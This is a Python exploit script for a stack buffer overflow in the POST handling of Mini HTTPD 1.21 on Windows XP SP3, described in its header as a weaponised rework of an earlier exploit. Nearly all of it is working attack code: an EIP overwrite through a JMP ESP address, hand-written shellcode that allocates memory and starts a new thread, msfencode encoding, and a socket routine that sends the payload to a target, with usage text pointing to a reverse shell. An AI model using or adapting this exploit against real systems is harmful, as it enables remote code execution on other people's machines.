#!/usr/bin/python
#
# Title: Mini HTTPD stack buffer overflow POST exploit
# Author: TheColonial
# Date: 20 Feb 2013
# Software Link: http://www.vector.co.jp/soft/winnt/net/se275154.html
# Vendor Homepage: http://www.picolix.jp/
# Version: 1.21
# Tested on: Windows XP Professional SP3
#
# Description:
# This is a slightly more weaponised version of the Mini HTTPD buffer overflow
# written by Sumit, located here: http://www.exploit-db.com/exploits/31736/
# I wrote this up because the existing version had a hard-coded payload and
# didn't work on any of my XP boxes.
#
# The instability of the existing is down to bad chars, and the parent thread
# killing off the child thread when the thing is still running. This exploit
# allocates memory in a safe area, copies the payload to it, creates a new
# thread which runs the payload and then suspends the current thread. The
# suspending of the thread forces the parent to kill it off rather than let
# it crash and potentially bring the process down.
#
# Run the script without arguments to see usage.
import struct, socket, sys, subprocess
# Helper function that reads the body of files off disk.
def file_content(path):
with open(path, 'rb') as f:
return f.read()
# Sent the payload in the correct format to the target host/port.
def pwn(host, port, payload):
print "[*] Connecting to {0}:{1}...".format(host, port)
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
print "[*] Connected, sending payload {0} bytes...".format(len(payload))
payload = "POST /{0} HTTP/1.1\r\nHost: {1}\r\n\r\n".format(payload, host)
s.send(payload)
s.shutdown
s.close
print "[+] Payload of {0} bytes sent, hopefully your shellcode executed.".format(len(payload))
# Create the part of the payload creates a thread to run the final payload in.
def create_payload_thread(final_payload_size):
VirtualAlloc = struct.pack("<L", 0x7c809AE1) # in kernel32
CreateThread = struct.pack("<L", 0x7c8106c7) # in kernel32
SuspendThread = struct.pack("<L", 0x7c83974A) # in kernel32
payload = ""
payload += "\x83\xec\x02" # add esp, 0x2 (aligns the stack)
payload += "\x89\xe6" # mov esi, esp
payload += "\x83\xc6\x00" # add esi, <some offset filled later>
count_offset = len(payload) - 1
# zero out ebx because we use zero a lot
payload += "\x31\xdb" # xor ebx,ebx
# allocate some memory to store our shellcode in which is
# away from the current active area and somewhere safe
payload += "\x6a\x40" # push 0x40
payload += "\x68\x00\x30\x00\x00" # push 0x3000
payload += "\x68\x00\x10\x00\x00" # push 0x1000
payload += "\x53" # push ebx
payload += "\xB8" + VirtualAlloc # mov eax,<address>
payload += "\xff\xd0" # call eax
# copy the payload over to the newly allocated area
size_bin = struct.pack("<L", final_payload_size + 4)
payload += "\xb9" + size_bin # mov ecx,final_payload_size
payload += "\x89\xc7" # mov edi,eax
payload += "\xf2\xa4" # rep movsb
# create the thread with a starting address pointing to the
# allocated area of memory
payload += "\x53" # push ebx
payload += "\x53" # push ebx
payload += "\x53" # push ebx
payload += "\x50" # push eax
payload += "\x53" # push ebx
payload += "\x53" # push ebx
payload += "\xB8" + CreateThread # mov eax,<address>
payload += "\xff\xd0" # call eax
# We call SuspendThread on the current thread, because this
# forces the parent to kill it. The bonus here is that doing
# so prevents the thread from dying and bringing the whole
# process down.
payload += "\x4b" # dec ebx
payload += "\x4b" # dec ebx
payload += "\x53" # push ebx
payload += "\xB8" + SuspendThread # mov eax,<address>
payload += "\xff\xd0" # call eax
payload += "\x90" * 4
# fill in the correct offset so that we point ESI to the
# right location at the start of the final payload
size = len(payload) + final_payload_size % 4
print "[*] Final stage is {0} bytes.".format(final_payload_size)
offset = struct.pack("B", size)
# write the value to the payload at the right location and return
return payload[0:count_offset] + offset + payload[count_offset+1:len(payload)]
# Creates the first stage of the exploit which overwrite EIP to get control.
def create_stage1():
eip_offset = 5412
jmp_esp = struct.pack("<L", 0x7e4456F7) # JMP ESP in advapi32
eip_offset2 = eip_offset + 4
payload = ""
payload += "A" * eip_offset # padding to reach EIP overwrite
payload += jmp_esp # address to overwrite IP with
payload += "\x90" # alignment
payload += "\x83\xEC\x21" # rejig ESP
return payload
# Create encoded shellcode from the given payload.
def create_encoded_shellcode(payload):
print "[*] Input payload of {0} bytes received. Encoding...".format(len(payload))
params = ['msfencode', '-e', 'x86/opt_sub', '-t', 'raw',
'BufferRegister=ESP', 'BufferOffset=42', 'ValidCharSet=filepath']
encode = subprocess.Popen(params, stdout = subprocess.PIPE, stdin = subprocess.PIPE)
shellcode, _ = encode.communicate(payload)
print "[*] Shellcode of {0} bytes generated.".format(len(shellcode))
return shellcode
print ""
print "MiniHTTPd 1.21 exploit for WinXP SP3 - by TheColonial"
print "-----------------------------------------------------"
print ""
print " Note: msfencode must be in the path and Metasploit must be up to date."
if len(sys.argv) != 4:
print ""
print " Usage: {0} <host> <port> <payloadfile>".format(sys.argv[0])
print ""
print " host : IP/name of the target host."
print " port : Port that the target is running on."
print " payloadfile : A file with the raw payload that is to be run."
print " This should be the raw, non-encoded output of"
print " a call to msfpayload"
print ""
print " eg. {0} 192.168.1.1 80 reverse_shell_raw.bin"
print ""
else:
print ""
print " Make sure you have your listeners running!"
print ""
host = sys.argv[1]
port = int(sys.argv[2])
payload_file = sys.argv[3]
stage1 = create_stage1()
final_stage = file_content(payload_file)
thread_payload = create_payload_thread(len(final_stage))
shellcode = create_encoded_shellcode(thread_payload + final_stage)
padding = "A" * 0x10
pwn(host, port, stage1 + shellcode + padding)